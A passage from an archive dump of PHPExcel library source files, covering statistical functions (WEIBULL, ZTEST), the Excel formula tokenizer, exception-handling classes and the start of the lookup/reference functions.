PHPExcel_Calculation_Functions::DIV0(); $summerA = $summerB = 0; // Loop through arguments $aArgs = PHPExcel_Calculation_Functions::flattenArrayIndexed(func_get_args()); $aCount = 0; foreach ($aArgs as $k => $arg) { if ((is_string($arg)) && (PHPExcel_Calculation_Functions::isValue($k))) { return PHPExcel_Calculation_Functions::VALUE(); } elseif ((is_string($arg)) && (!PHPExcel_Calculation_Functions::isMatrixValue($k))) { } else { // Is it a numeric value? if ((is_numeric($arg)) || (is_bool($arg)) || ((is_string($arg) & ($arg != '')))) { if (is_bool($arg)) { $arg = (integer) $arg; } elseif (is_string($arg)) { $arg = 0; } $summerA += ($arg * $arg); $summerB += $arg; ++$aCount; } } } if ($aCount > 0) { $summerA *= $aCount; $summerB *= $summerB; $returnValue = ($summerA - $summerB) / ($aCount * $aCount); } return $returnValue; } /** * WEIBULL * * Returns the Weibull distribution. Use this distribution in reliability * analysis, such as calculating a device's mean time to failure. * * @param float $value * @param float $alpha Alpha Parameter * @param float $beta Beta Parameter * @param boolean $cumulative * @return float * */ public static function WEIBULL($value, $alpha, $beta, $cumulative) { $value = PHPExcel_Calculation_Functions::flattenSingleValue($value); $alpha = PHPExcel_Calculation_Functions::flattenSingleValue($alpha); $beta = PHPExcel_Calculation_Functions::flattenSingleValue($beta); if ((is_numeric($value)) && (is_numeric($alpha)) && (is_numeric($beta))) { if (($value < 0) || ($alpha <= 0) || ($beta <= 0)) { return PHPExcel_Calculation_Functions::NaN(); } if ((is_numeric($cumulative)) || (is_bool($cumulative))) { if ($cumulative) { return 1 - exp(0 - pow($value / $beta, $alpha)); } else { return ($alpha / pow($beta, $alpha)) * pow($value, $alpha - 1) * exp(0 - pow($value / $beta, $alpha)); } } } return PHPExcel_Calculation_Functions::VALUE(); } /** * ZTEST * * Returns the Weibull distribution. Use this distribution in reliability * analysis, such as calculating a device's mean time to failure. * * @param float $dataSet * @param float $m0 Alpha Parameter * @param float $sigma Beta Parameter * @param boolean $cumulative * @return float * */ public static function ZTEST($dataSet, $m0, $sigma = null) { $dataSet = PHPExcel_Calculation_Functions::flattenArrayIndexed($dataSet); $m0 = PHPExcel_Calculation_Functions::flattenSingleValue($m0); $sigma = PHPExcel_Calculation_Functions::flattenSingleValue($sigma); if (is_null($sigma)) { $sigma = self::STDEV($dataSet); } $n = count($dataSet); return 1 - self::NORMSDIST((self::AVERAGE($dataSet) - $m0) / ($sigma / SQRT($n))); } } PHPExcel/Calculation/FormulaParser.php 0000644 00000064451 14642534107 0013725 0 ustar 00 <?php /* PARTLY BASED ON: Copyright (c) 2007 E. W. Bachtal, Inc. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. The software is provided "as is", without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose and noninfringement. In no event shall the authors or copyright holders be liable for any claim, damages or other liability, whether in an action of contract, tort or otherwise, arising from, out of or in connection with the software or the use or other dealings in the software. http://ewbi.blogs.com/develops/2007/03/excel_formula_p.html http://ewbi.blogs.com/develops/2004/12/excel_formula_p.html */ /** * PHPExcel_Calculation_FormulaParser * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Calculation * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Calculation_FormulaParser { /* Character constants */ const QUOTE_DOUBLE = '"'; const QUOTE_SINGLE = '\''; const BRACKET_CLOSE = ']'; const BRACKET_OPEN = '['; const BRACE_OPEN = '{'; const BRACE_CLOSE = '}'; const PAREN_OPEN = '('; const PAREN_CLOSE = ')'; const SEMICOLON = ';'; const WHITESPACE = ' '; const COMMA = ','; const ERROR_START = '#'; const OPERATORS_SN = "+-"; const OPERATORS_INFIX = "+-*/^&=><"; const OPERATORS_POSTFIX = "%"; /** * Formula * * @var string */ private $formula; /** * Tokens * * @var PHPExcel_Calculation_FormulaToken[] */ private $tokens = array(); /** * Create a new PHPExcel_Calculation_FormulaParser * * @param string $pFormula Formula to parse * @throws PHPExcel_Calculation_Exception */ public function __construct($pFormula = '') { // Check parameters if (is_null($pFormula)) { throw new PHPExcel_Calculation_Exception("Invalid parameter passed: formula"); } // Initialise values $this->formula = trim($pFormula); // Parse! $this->parseToTokens(); } /** * Get Formula * * @return string */ public function getFormula() { return $this->formula; } /** * Get Token * * @param int $pId Token id * @return string * @throws PHPExcel_Calculation_Exception */ public function getToken($pId = 0) { if (isset($this->tokens[$pId])) { return $this->tokens[$pId]; } else { throw new PHPExcel_Calculation_Exception("Token with id $pId does not exist."); } } /** * Get Token count * * @return string */ public function getTokenCount() { return count($this->tokens); } /** * Get Tokens * * @return PHPExcel_Calculation_FormulaToken[] */ public function getTokens() { return $this->tokens; } /** * Parse to tokens */ private function parseToTokens() { // No attempt is made to verify formulas; assumes formulas are derived from Excel, where // they can only exist if valid; stack overflows/underflows sunk as nulls without exceptions. // Check if the formula has a valid starting = $formulaLength = strlen($this->formula); if ($formulaLength < 2 || $this->formula{0} != '=') { return; } // Helper variables $tokens1 = $tokens2 = $stack = array(); $inString = $inPath = $inRange = $inError = false; $token = $previousToken = $nextToken = null; $index = 1; $value = ''; $ERRORS = array("#NULL!", "#DIV/0!", "#VALUE!", "#REF!", "#NAME?", "#NUM!", "#N/A"); $COMPARATORS_MULTI = array(">=", "<=", "<>"); while ($index < $formulaLength) { // state-dependent character evaluation (order is important) // double-quoted strings // embeds are doubled // end marks token if ($inString) { if ($this->formula{$index} == PHPExcel_Calculation_FormulaParser::QUOTE_DOUBLE) { if ((($index + 2) <= $formulaLength) && ($this->formula{$index + 1} == PHPExcel_Calculation_FormulaParser::QUOTE_DOUBLE)) { $value .= PHPExcel_Calculation_FormulaParser::QUOTE_DOUBLE; ++$index; } else { $inString = false; $tokens1[] = new PHPExcel_Calculation_FormulaToken($value, PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_OPERAND, PHPExcel_Calculation_FormulaToken::TOKEN_SUBTYPE_TEXT); $value = ""; } } else { $value .= $this->formula{$index}; } ++$index; continue; } // single-quoted strings (links) // embeds are double // end does not mark a token if ($inPath) { if ($this->formula{$index} == PHPExcel_Calculation_FormulaParser::QUOTE_SINGLE) { if ((($index + 2) <= $formulaLength) && ($this->formula{$index + 1} == PHPExcel_Calculation_FormulaParser::QUOTE_SINGLE)) { $value .= PHPExcel_Calculation_FormulaParser::QUOTE_SINGLE; ++$index; } else { $inPath = false; } } else { $value .= $this->formula{$index}; } ++$index; continue; } // bracked strings (R1C1 range index or linked workbook name) // no embeds (changed to "()" by Excel) // end does not mark a token if ($inRange) { if ($this->formula{$index} == PHPExcel_Calculation_FormulaParser::BRACKET_CLOSE) { $inRange = false; } $value .= $this->formula{$index}; ++$index; continue; } // error values // end marks a token, determined from absolute list of values if ($inError) { $value .= $this->formula{$index}; ++$index; if (in_array($value, $ERRORS)) { $inError = false; $tokens1[] = new PHPExcel_Calculation_FormulaToken($value, PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_OPERAND, PHPExcel_Calculation_FormulaToken::TOKEN_SUBTYPE_ERROR); $value = ""; } continue; } // scientific notation check if (strpos(PHPExcel_Calculation_FormulaParser::OPERATORS_SN, $this->formula{$index}) !== false) { if (strlen($value) > 1) { if (preg_match("/^[1-9]{1}(\.[0-9]+)?E{1}$/", $this->formula{$index}) != 0) { $value .= $this->formula{$index}; ++$index; continue; } } } // independent character evaluation (order not important) // establish state-dependent character evaluations if ($this->formula{$index} == PHPExcel_Calculation_FormulaParser::QUOTE_DOUBLE) { if (strlen($value > 0)) { // unexpected $tokens1[] = new PHPExcel_Calculation_FormulaToken($value, PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_UNKNOWN); $value = ""; } $inString = true; ++$index; continue; } if ($this->formula{$index} == PHPExcel_Calculation_FormulaParser::QUOTE_SINGLE) { if (strlen($value) > 0) { // unexpected $tokens1[] = new PHPExcel_Calculation_FormulaToken($value, PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_UNKNOWN); $value = ""; } $inPath = true; ++$index; continue; } if ($this->formula{$index} == PHPExcel_Calculation_FormulaParser::BRACKET_OPEN) { $inRange = true; $value .= PHPExcel_Calculation_FormulaParser::BRACKET_OPEN; ++$index; continue; } if ($this->formula{$index} == PHPExcel_Calculation_FormulaParser::ERROR_START) { if (strlen($value) > 0) { // unexpected $tokens1[] = new PHPExcel_Calculation_FormulaToken($value, PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_UNKNOWN); $value = ""; } $inError = true; $value .= PHPExcel_Calculation_FormulaParser::ERROR_START; ++$index; continue; } // mark start and end of arrays and array rows if ($this->formula{$index} == PHPExcel_Calculation_FormulaParser::BRACE_OPEN) { if (strlen($value) > 0) { // unexpected $tokens1[] = new PHPExcel_Calculation_FormulaToken($value, PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_UNKNOWN); $value = ""; } $tmp = new PHPExcel_Calculation_FormulaToken("ARRAY", PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_FUNCTION, PHPExcel_Calculation_FormulaToken::TOKEN_SUBTYPE_START); $tokens1[] = $tmp; $stack[] = clone $tmp; $tmp = new PHPExcel_Calculation_FormulaToken("ARRAYROW", PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_FUNCTION, PHPExcel_Calculation_FormulaToken::TOKEN_SUBTYPE_START); $tokens1[] = $tmp; $stack[] = clone $tmp; ++$index; continue; } if ($this->formula{$index} == PHPExcel_Calculation_FormulaParser::SEMICOLON) { if (strlen($value) > 0) { $tokens1[] = new PHPExcel_Calculation_FormulaToken($value, PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_OPERAND); $value = ""; } $tmp = array_pop($stack); $tmp->setValue(""); $tmp->setTokenSubType(PHPExcel_Calculation_FormulaToken::TOKEN_SUBTYPE_STOP); $tokens1[] = $tmp; $tmp = new PHPExcel_Calculation_FormulaToken(",", PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_ARGUMENT); $tokens1[] = $tmp; $tmp = new PHPExcel_Calculation_FormulaToken("ARRAYROW", PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_FUNCTION, PHPExcel_Calculation_FormulaToken::TOKEN_SUBTYPE_START); $tokens1[] = $tmp; $stack[] = clone $tmp; ++$index; continue; } if ($this->formula{$index} == PHPExcel_Calculation_FormulaParser::BRACE_CLOSE) { if (strlen($value) > 0) { $tokens1[] = new PHPExcel_Calculation_FormulaToken($value, PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_OPERAND); $value = ""; } $tmp = array_pop($stack); $tmp->setValue(""); $tmp->setTokenSubType(PHPExcel_Calculation_FormulaToken::TOKEN_SUBTYPE_STOP); $tokens1[] = $tmp; $tmp = array_pop($stack); $tmp->setValue(""); $tmp->setTokenSubType(PHPExcel_Calculation_FormulaToken::TOKEN_SUBTYPE_STOP); $tokens1[] = $tmp; ++$index; continue; } // trim white-space if ($this->formula{$index} == PHPExcel_Calculation_FormulaParser::WHITESPACE) { if (strlen($value) > 0) { $tokens1[] = new PHPExcel_Calculation_FormulaToken($value, PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_OPERAND); $value = ""; } $tokens1[] = new PHPExcel_Calculation_FormulaToken("", PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_WHITESPACE); ++$index; while (($this->formula{$index} == PHPExcel_Calculation_FormulaParser::WHITESPACE) && ($index < $formulaLength)) { ++$index; } continue; } // multi-character comparators if (($index + 2) <= $formulaLength) { if (in_array(substr($this->formula, $index, 2), $COMPARATORS_MULTI)) { if (strlen($value) > 0) { $tokens1[] = new PHPExcel_Calculation_FormulaToken($value, PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_OPERAND); $value = ""; } $tokens1[] = new PHPExcel_Calculation_FormulaToken(substr($this->formula, $index, 2), PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_OPERATORINFIX, PHPExcel_Calculation_FormulaToken::TOKEN_SUBTYPE_LOGICAL); $index += 2; continue; } } // standard infix operators if (strpos(PHPExcel_Calculation_FormulaParser::OPERATORS_INFIX, $this->formula{$index}) !== false) { if (strlen($value) > 0) { $tokens1[] =new PHPExcel_Calculation_FormulaToken($value, PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_OPERAND); $value = ""; } $tokens1[] = new PHPExcel_Calculation_FormulaToken($this->formula{$index}, PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_OPERATORINFIX); ++$index; continue; } // standard postfix operators (only one) if (strpos(PHPExcel_Calculation_FormulaParser::OPERATORS_POSTFIX, $this->formula{$index}) !== false) { if (strlen($value) > 0) { $tokens1[] = new PHPExcel_Calculation_FormulaToken($value, PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_OPERAND); $value = ""; } $tokens1[] = new PHPExcel_Calculation_FormulaToken($this->formula{$index}, PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_OPERATORPOSTFIX); ++$index; continue; } // start subexpression or function if ($this->formula{$index} == PHPExcel_Calculation_FormulaParser::PAREN_OPEN) { if (strlen($value) > 0) { $tmp = new PHPExcel_Calculation_FormulaToken($value, PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_FUNCTION, PHPExcel_Calculation_FormulaToken::TOKEN_SUBTYPE_START); $tokens1[] = $tmp; $stack[] = clone $tmp; $value = ""; } else { $tmp = new PHPExcel_Calculation_FormulaToken("", PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_SUBEXPRESSION, PHPExcel_Calculation_FormulaToken::TOKEN_SUBTYPE_START); $tokens1[] = $tmp; $stack[] = clone $tmp; } ++$index; continue; } // function, subexpression, or array parameters, or operand unions if ($this->formula{$index} == PHPExcel_Calculation_FormulaParser::COMMA) { if (strlen($value) > 0) { $tokens1[] = new PHPExcel_Calculation_FormulaToken($value, PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_OPERAND); $value = ""; } $tmp = array_pop($stack); $tmp->setValue(""); $tmp->setTokenSubType(PHPExcel_Calculation_FormulaToken::TOKEN_SUBTYPE_STOP); $stack[] = $tmp; if ($tmp->getTokenType() == PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_FUNCTION) { $tokens1[] = new PHPExcel_Calculation_FormulaToken(",", PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_OPERATORINFIX, PHPExcel_Calculation_FormulaToken::TOKEN_SUBTYPE_UNION); } else { $tokens1[] = new PHPExcel_Calculation_FormulaToken(",", PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_ARGUMENT); } ++$index; continue; } // stop subexpression if ($this->formula{$index} == PHPExcel_Calculation_FormulaParser::PAREN_CLOSE) { if (strlen($value) > 0) { $tokens1[] = new PHPExcel_Calculation_FormulaToken($value, PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_OPERAND); $value = ""; } $tmp = array_pop($stack); $tmp->setValue(""); $tmp->setTokenSubType(PHPExcel_Calculation_FormulaToken::TOKEN_SUBTYPE_STOP); $tokens1[] = $tmp; ++$index; continue; } // token accumulation $value .= $this->formula{$index}; ++$index; } // dump remaining accumulation if (strlen($value) > 0) { $tokens1[] = new PHPExcel_Calculation_FormulaToken($value, PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_OPERAND); } // move tokenList to new set, excluding unnecessary white-space tokens and converting necessary ones to intersections $tokenCount = count($tokens1); for ($i = 0; $i < $tokenCount; ++$i) { $token = $tokens1[$i]; if (isset($tokens1[$i - 1])) { $previousToken = $tokens1[$i - 1]; } else { $previousToken = null; } if (isset($tokens1[$i + 1])) { $nextToken = $tokens1[$i + 1]; } else { $nextToken = null; } if (is_null($token)) { continue; } if ($token->getTokenType() != PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_WHITESPACE) { $tokens2[] = $token; continue; } if (is_null($previousToken)) { continue; } if (! ( (($previousToken->getTokenType() == PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_FUNCTION) && ($previousToken->getTokenSubType() == PHPExcel_Calculation_FormulaToken::TOKEN_SUBTYPE_STOP)) || (($previousToken->getTokenType() == PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_SUBEXPRESSION) && ($previousToken->getTokenSubType() == PHPExcel_Calculation_FormulaToken::TOKEN_SUBTYPE_STOP)) || ($previousToken->getTokenType() == PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_OPERAND) ) ) { continue; } if (is_null($nextToken)) { continue; } if (! ( (($nextToken->getTokenType() == PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_FUNCTION) && ($nextToken->getTokenSubType() == PHPExcel_Calculation_FormulaToken::TOKEN_SUBTYPE_START)) || (($nextToken->getTokenType() == PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_SUBEXPRESSION) && ($nextToken->getTokenSubType() == PHPExcel_Calculation_FormulaToken::TOKEN_SUBTYPE_START)) || ($nextToken->getTokenType() == PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_OPERAND) ) ) { continue; } $tokens2[] = new PHPExcel_Calculation_FormulaToken($value, PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_OPERATORINFIX, PHPExcel_Calculation_FormulaToken::TOKEN_SUBTYPE_INTERSECTION); } // move tokens to final list, switching infix "-" operators to prefix when appropriate, switching infix "+" operators // to noop when appropriate, identifying operand and infix-operator subtypes, and pulling "@" from function names $this->tokens = array(); $tokenCount = count($tokens2); for ($i = 0; $i < $tokenCount; ++$i) { $token = $tokens2[$i]; if (isset($tokens2[$i - 1])) { $previousToken = $tokens2[$i - 1]; } else { $previousToken = null; } if (isset($tokens2[$i + 1])) { $nextToken = $tokens2[$i + 1]; } else { $nextToken = null; } if (is_null($token)) { continue; } if ($token->getTokenType() == PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_OPERATORINFIX && $token->getValue() == "-") { if ($i == 0) { $token->setTokenType(PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_OPERATORPREFIX); } elseif ((($previousToken->getTokenType() == PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_FUNCTION) && ($previousToken->getTokenSubType() == PHPExcel_Calculation_FormulaToken::TOKEN_SUBTYPE_STOP)) || (($previousToken->getTokenType() == PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_SUBEXPRESSION) && ($previousToken->getTokenSubType() == PHPExcel_Calculation_FormulaToken::TOKEN_SUBTYPE_STOP)) || ($previousToken->getTokenType() == PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_OPERATORPOSTFIX) || ($previousToken->getTokenType() == PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_OPERAND)) { $token->setTokenSubType(PHPExcel_Calculation_FormulaToken::TOKEN_SUBTYPE_MATH); } else { $token->setTokenType(PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_OPERATORPREFIX); } $this->tokens[] = $token; continue; } if ($token->getTokenType() == PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_OPERATORINFIX && $token->getValue() == "+") { if ($i == 0) { continue; } elseif ((($previousToken->getTokenType() == PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_FUNCTION) && ($previousToken->getTokenSubType() == PHPExcel_Calculation_FormulaToken::TOKEN_SUBTYPE_STOP)) || (($previousToken->getTokenType() == PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_SUBEXPRESSION) && ($previousToken->getTokenSubType() == PHPExcel_Calculation_FormulaToken::TOKEN_SUBTYPE_STOP)) || ($previousToken->getTokenType() == PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_OPERATORPOSTFIX) || ($previousToken->getTokenType() == PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_OPERAND)) { $token->setTokenSubType(PHPExcel_Calculation_FormulaToken::TOKEN_SUBTYPE_MATH); } else { continue; } $this->tokens[] = $token; continue; } if ($token->getTokenType() == PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_OPERATORINFIX && $token->getTokenSubType() == PHPExcel_Calculation_FormulaToken::TOKEN_SUBTYPE_NOTHING) { if (strpos("<>=", substr($token->getValue(), 0, 1)) !== false) { $token->setTokenSubType(PHPExcel_Calculation_FormulaToken::TOKEN_SUBTYPE_LOGICAL); } elseif ($token->getValue() == "&") { $token->setTokenSubType(PHPExcel_Calculation_FormulaToken::TOKEN_SUBTYPE_CONCATENATION); } else { $token->setTokenSubType(PHPExcel_Calculation_FormulaToken::TOKEN_SUBTYPE_MATH); } $this->tokens[] = $token; continue; } if ($token->getTokenType() == PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_OPERAND && $token->getTokenSubType() == PHPExcel_Calculation_FormulaToken::TOKEN_SUBTYPE_NOTHING) { if (!is_numeric($token->getValue())) { if (strtoupper($token->getValue()) == "TRUE" || strtoupper($token->getValue() == "FALSE")) { $token->setTokenSubType(PHPExcel_Calculation_FormulaToken::TOKEN_SUBTYPE_LOGICAL); } else { $token->setTokenSubType(PHPExcel_Calculation_FormulaToken::TOKEN_SUBTYPE_RANGE); } } else { $token->setTokenSubType(PHPExcel_Calculation_FormulaToken::TOKEN_SUBTYPE_NUMBER); } $this->tokens[] = $token; continue; } if ($token->getTokenType() == PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_FUNCTION) { if (strlen($token->getValue() > 0)) { if (substr($token->getValue(), 0, 1) == "@") { $token->setValue(substr($token->getValue(), 1)); } } } $this->tokens[] = $token; } } } PHPExcel/Calculation/ExceptionHandler.php 0000644 00000002673 14642534107 0014375 0 ustar 00 <?php /** * PHPExcel_Calculation_ExceptionHandler * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Calculation * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Calculation_ExceptionHandler { /** * Register errorhandler */ public function __construct() { set_error_handler(array('PHPExcel_Calculation_Exception', 'errorHandlerCallback'), E_ALL); } /** * Unregister errorhandler */ public function __destruct() { restore_error_handler(); } } PHPExcel/Calculation/Exception.php 0000644 00000003031 14642534107 0013064 0 ustar 00 <?php /** * PHPExcel_Calculation_Exception * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Calculation * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Calculation_Exception extends PHPExcel_Exception { /** * Error handler callback * * @param mixed $code * @param mixed $string * @param mixed $file * @param mixed $line * @param mixed $context */ public static function errorHandlerCallback($code, $string, $file, $line, $context) { $e = new self($string, $code); $e->line = $line; $e->file = $file; throw $e; } } PHPExcel/Calculation/LookupRef.php 0000644 00000110400 14642534107 0013033 0 ustar 00 <?php /** PHPExcel root directory */ if (!defined('PHPEXCEL_ROOT')) { /** * @ignore */ define('PHPEXCEL_ROOT', dirname(__FILE__) . '/../../'); require(PHPEXCEL_ROOT . 'PHPExcel/Autoloader.php'); } /** * PHPExcel_Calculation_LookupRef * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Calculation * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Calculation_LookupRef { /** * CELL_ADDRESS * * Creates a cell address as text, given specified row and column numbers. * * Excel Function: * =ADDRESS(row, column, [relativity], [referenceStyle], [sheetText]) * * @param row Row number to use in the cell reference * @param column Column number to use in the cell reference * @param relativity Flag indicating the type of reference to return * 1 or omitted Absolute * 2 Absolute row; relative column * 3 Relative row; absolute column * 4 Relative * @param referenceStyle A logical value that specifies the A1 or R1C1 reference style. * TRUE or omitted CELL_ADDRESS returns an A1-style reference * FALSE CELL_ADDRESS returns an R1C1-style reference * @param sheetText Optional Name of worksheet to use * @return string */ public static function CELL_ADDRESS($row, $column, $relativity = 1, $referenceStyle = true, $sheetText = '') { $row = PHPExcel_Calculation_Functions::flattenSingleValue($row); $column = PHPExcel_Calculation_Functions::flattenSingleValue($column); $relativity = PHPExcel_Calculation_Functions::flattenSingleValue($relativity); $sheetText = PHPExcel_Calculation_Functions::flattenSingleValue($sheetText); if (($row < 1) || ($column < 1)) { return PHPExcel_Calculation_Functions::VALUE(); } if ($sheetText > '') { if (strpos($sheetText, ' ') !== false) { $sheetText = "'".$sheetText."'"; } $sheetText .='!'; } if ((!is_bool($referenceStyle)) || $referenceStyle) { $rowRelative = $columnRelative = '$'; $column = PHPExcel_Cell::stringFromColumnIndex($column-1); if (($relativity == 2) || ($relativity == 4)) { $columnRelative = ''; } if (($relativity == 3) || ($relativity == 4)) { $rowRelative = ''; } return $sheetText.$columnRelative.$column.$rowRelative.$row; } else { if (($relativity == 2) || ($relativity == 4)) { $column = '['.$column.']'; } if (($relativity == 3) || ($relativity == 4)) { $row = '['.$row.']'; } return $sheetText.'R'.$row.'C'.$column; } } /** * COLUMN * * Returns the column number of the given cell reference * If the cell reference is a range of cells, COLUMN returns the column numbers of each column in the reference as a horizontal array. * If cell reference is omitted, and the function is being called through the calculation engine, then it is assumed to be the * reference of the cell in which the COLUMN function appears; otherwise this function returns 0. * * Excel Function: * =COLUMN([cellAddress]) * * @param cellAddress A reference to a range of cells for which you want the column numbers * @return integer or array of integer */ public static function COLUMN($cellAddress = null) { if (is_null($cellAddress) || trim($cellAddress) === '') { return 0; } if (is_array($cellAddress)) { foreach ($cellAddress as $columnKey => $value) { $columnKey = preg_replace('/[^a-z]/i', '', $columnKey); return (integer) PHPExcel_Cell::columnIndexFromString($columnKey); } } else { if (strpos($cellAddress, '!') !== false) { list($sheet, $cellAddress) = explode('!', $cellAddress); } if (strpos($cellAddress, ':') !== false) { list($startAddress, $endAddress) = explode(':', $cellAddress); $startAddress = preg_replace('/[^a-z]/i', '', $startAddress); $endAddress = preg_replace('/[^a-z]/i', '', $endAddress); $returnValue = array(); do { $returnValue[] = (integer) PHPExcel_Cell::columnIndexFromString($startAddress); } while ($startAddress++ != $endAddress); return $returnValue; } else { $cellAddress = preg_replace('/[^a-z]/i', '', $cellAddress); return (integer) PHPExcel_Cell::columnIndexFromString($cellAddress); } } } /** * COLUMNS * * Returns the number of columns in an array or reference. * * Excel Function: * =COLUMNS(cellAddress) * * @param cellAddress An array or array formula, or a reference to a range of cells for which you want the number of columns * @return integer The number of columns in cellAddress */ public static function COLUMNS($cellAddress = null) { if (is_null($cellAddress) || $cellAddress === '') { return 1; } elseif (!is_array($cellAddress)) { return PHPExcel_Calculation_Functions::VALUE(); } reset($cellAddress); $isMatrix = (is_numeric(key($cellAddress))); list($columns, $rows) = PHPExcel_Calculation::_getMatrixDimensions($cellAddress); if ($isMatrix) { return $rows; } else { return $columns; } } /** * ROW * * Returns the row number of the given cell reference * If the cell reference is a range of cells, ROW returns the row numbers of each row in the reference as a vertical array. * If cell reference is omitted, and the function is being called through the calculation engine, then it is assumed to be the * reference of the cell in which the ROW function appears; otherwise this function returns 0. * * Excel Function: * =ROW([cellAddress]) * * @param cellAddress A reference to a range of cells for which you want the row numbers * @return integer or array of integer */ public static function ROW($cellAddress = null) { if (is_null($cellAddress) || trim($cellAddress) === '') { return 0; } if (is_array($cellAddress)) { foreach ($cellAddress as $columnKey => $rowValue) { foreach ($rowValue as $rowKey => 